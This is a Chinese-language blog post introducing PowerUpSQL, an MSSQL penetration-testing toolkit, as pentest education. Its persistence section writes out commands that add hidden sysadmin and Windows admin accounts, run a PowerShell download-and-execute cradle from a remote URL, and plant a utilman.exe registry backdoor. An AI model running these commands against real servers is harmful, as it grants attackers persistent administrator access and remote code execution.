• MSSQLPowerUpSQL介绍


    No.1

    声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

    No.2

    前言

    PowerUpSQL是NETSPI开源的针对MSSQL的测试套件,包含发现网络中mssql、测试口令、利用mssql获得持久权限以及利用mssql攻击域等功能。

    No.3

    发现MSSQL实例

    • 发现本地实例
    • 通过SPN查找域内mssql实例
    • 通过广播查找mssql实例
    • 通过UDP查找网络内的mssql实例

    接受机器名或者IP

    No.4

    获取MSSQL信息

    • 获取配置信息
    • 获取服务信息
    • 登录信息

    No.5

    测试口令

    • 获取默认密码实例

    作者在脚本中提供了默认安装的一些实例名和默认密码,但是不包括MSSQLSERVER和SQL Express(避免账号锁定)。可以根据自身需要加入自定义的账号密码

    • 使用字典测试

    命令的含义是通过管道爆破可以连接的发现的实例。此外,该函数还可以尝试通过Invoke-SQLOSCmd执行命令

    No.6

    持久性

    • 启用存储过程

    SQL Server启动时添加数据库管理账户

    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!

    添加windows管理员

    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!

    执行 powershell命令

    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.xxxxxxusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"

    • 写注册表

    Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "MSSQL" -Username "sa" -Password "_PL<0okm"

    RDP后门。需要当前mssql用户有写注册表权限

    作业

    除了CMD,还支持VBScript、powershell、JScript

    此外,工具还集成了一些通过mssql执行系统命令的方式

    Invoke-SQLOSCmd

    Invoke-SQLOSCmdCLR

    Invoke-SQLOSCmdCOle

    Invoke-SQLOSCmdPython

    Invoke-SQLOSCmdR

    • 触发器

    工具支持创建DDL和DML两种触发器

    Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 -username '' -password ''

    Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -username '' -password ''

    可根据实际情况定义触发条件

    No.7

    获取域信息

    • 当前域用户信息
    • 域用户
    • 域机器

    No.8

    防御方案

    • 增加账号的口令强度
    • 用低权限账号连接数据库
    • 修改默认实例的默认口令

    END

  • 相关阅读:
    str_split — 将字符串转换为数组
    str_replace — 子字符串替换
    str_pad — 使用另一个字符串填充字符串为指定长度
    parse_str — 将字符串解析成多个变量
    number_format — 以千位分隔符方式格式化一个数字
    企业邮箱的优势有哪些?使用企业邮箱的好处
    TOM VIP邮箱,化繁为简,在微信里收发邮件
    邮箱办公神操作,让办公更自在,沟通无边界!
    常用的企业邮箱有哪些?企业邮箱有哪几种?
    外贸企业邮箱批发,收费企业邮箱与免费企业邮箱区别
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/16093954.html
Copyright © 2020-2023  润新知